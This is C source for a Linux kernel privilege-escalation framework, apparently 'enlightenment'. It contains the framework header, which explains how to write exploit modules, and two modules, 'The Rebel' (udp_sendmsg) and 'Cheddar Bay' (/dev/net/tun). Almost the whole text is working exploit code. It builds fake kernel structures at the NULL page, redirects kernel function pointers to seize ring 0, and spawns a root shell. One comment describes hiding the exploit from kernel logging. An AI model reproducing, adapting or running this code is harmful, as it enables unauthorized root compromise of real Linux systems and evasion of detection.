struct dst_entry { void *next; int refcnt; int use; void *child; void *dev; short error; short obsolete; int flags; unsigned long lastuse; unsigned long expires; unsigned short header_len; unsigned short trailer_len; unsigned int metrics[13]; /* need to have this here and empty to avoid problems with dst.path being used by dst_mtu */ void *path; unsigned long rate_last; unsigned long rate_tokens; /* things change from version to version past here, so let's do this: */ void *own_the_kernel[8]; };
struct exploit_state *exp_state;
char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root";
int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; }
int prepare(unsigned char *ptr) { struct dst_entry *mem = (struct dst_entry *)ptr; int i;
/* for stealthiness based on reversing, makes sure that frag_off is set in skb so that a printk isn't issued alerting to the exploit in the ip_select_ident path */ mem->metrics[1] = 0xfff0; /* the actual "output" function pointer called by dst_output */ for (i = 0; i < 10; i++) mem->own_the_kernel[i] = exp_state->own_the_kernel;
return 0; }
int trigger(void) { struct sockaddr sock = { .sa_family = AF_UNSPEC, .sa_data = "CamusIsAwesome", }; char buf[1024] = {0}; int fd;
fd = socket(PF_INET, SOCK_DGRAM, 0); if (fd < 0) { fprintf(stdout, "failed to create socket\n"); return 0; } sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock)); sendto(fd, buf, 1024, 0, &sock, sizeof(sock));
return 1; }
int post(void) { return RUN_ROOTSHELL; }
------------------------------------------exp_framework.h-----------------------------------------
/* enlightenment 200909101704
To create your own exploit module for enlightenment, just name it exp_whatever.c It will be auto-compiled by the run_exploits.sh script and thrown into the list of loaded exploit modules
Each module must have the following features: It must include this header file, exp_framework.h A description of the exploit, the variable being named "desc" A "prepare" function: int prepare(unsigned char *ptr) where ptr is the ptr to the NULL mapping, which you are able to write to This function can return the flags described below for prepare_the_exploit Return 0 for failure otherwise A "trigger" function: int trigger(void) Return 0 for failure, nonzero for success A "post" function: int post(void) This function can return the flags described below for post_exploit A "get_exploit_state_ptr" function: int get_exploit_state_ptr(struct exploit_state *ptr) Generally this will always be implemented as: struct *exp_state; int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; } It gives you access to the exploit_state structure listed below, get_kernel_sym allows you to resolve symbols own_the_kernel is the function that takes control of the kernel (in case you need its address to set up your buffer) the other variables describe the exploit environment, so you can for instance, loop through a number of vulnerable socket domains until you detect ring0 execution has occurred.
That's it! */
/* defines for prepare_the_exploit */ #define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337 #define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */ #define RUN_ROOTSHELL 0x5150 #define CHMOD_SHELL 0x5151
typedef unsigned long (*_get_kernel_sym)(char *name);
struct exploit_state { _get_kernel_sym get_kernel_sym; void *own_the_kernel; int run_from_main; int got_ring0; int got_root; };
---------------------------------exp_cheddarbay.c---------------------------------------------------
/* wunderbar */ #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <poll.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/mman.h> #include "exp_framework.h"
struct exploit_state *exp_state;
#define OFFSET_OF_FLAGS 0x8
struct sock { char gibberish1[0x60]; char gibberish2[0xe0]; unsigned long gibberish3[0x50]; };
char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root";
int prepare(unsigned char *buf) { struct sock *sk = (struct sock *)buf; struct pollfd pfd; unsigned long target_addr; int i; int fd;
fd = open("/dev/net/tun", O_RDONLY); if (fd < 0) { fprintf(stdout, "Unable to open /dev/net/tun!\n"); return 0; } close(fd); fd = open("/dev/net/tun", O_RDWR); if (fd < 0) { fprintf(stdout, "Unable to open /dev/net/tun!\n"); return 0; }
target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11);
memset(sk->gibberish1, 0, sizeof(sk->gibberish1)); memset(sk->gibberish2, 0, sizeof(sk->gibberish2)); for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++) sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
pfd.fd = fd; pfd.events = POLLIN | POLLOUT; poll(&pfd, 1, 0);
close(fd);
return EXECUTE_AT_NONZERO_OFFSET | 1; }
int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; }
int trigger(void) { int fd; fd = open("/dev/net/tun", O_RDONLY); if (fd < 0) return 0; mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0); close(fd);
return 1; }
int post(void) { return RUN_ROOTSHELL; }
|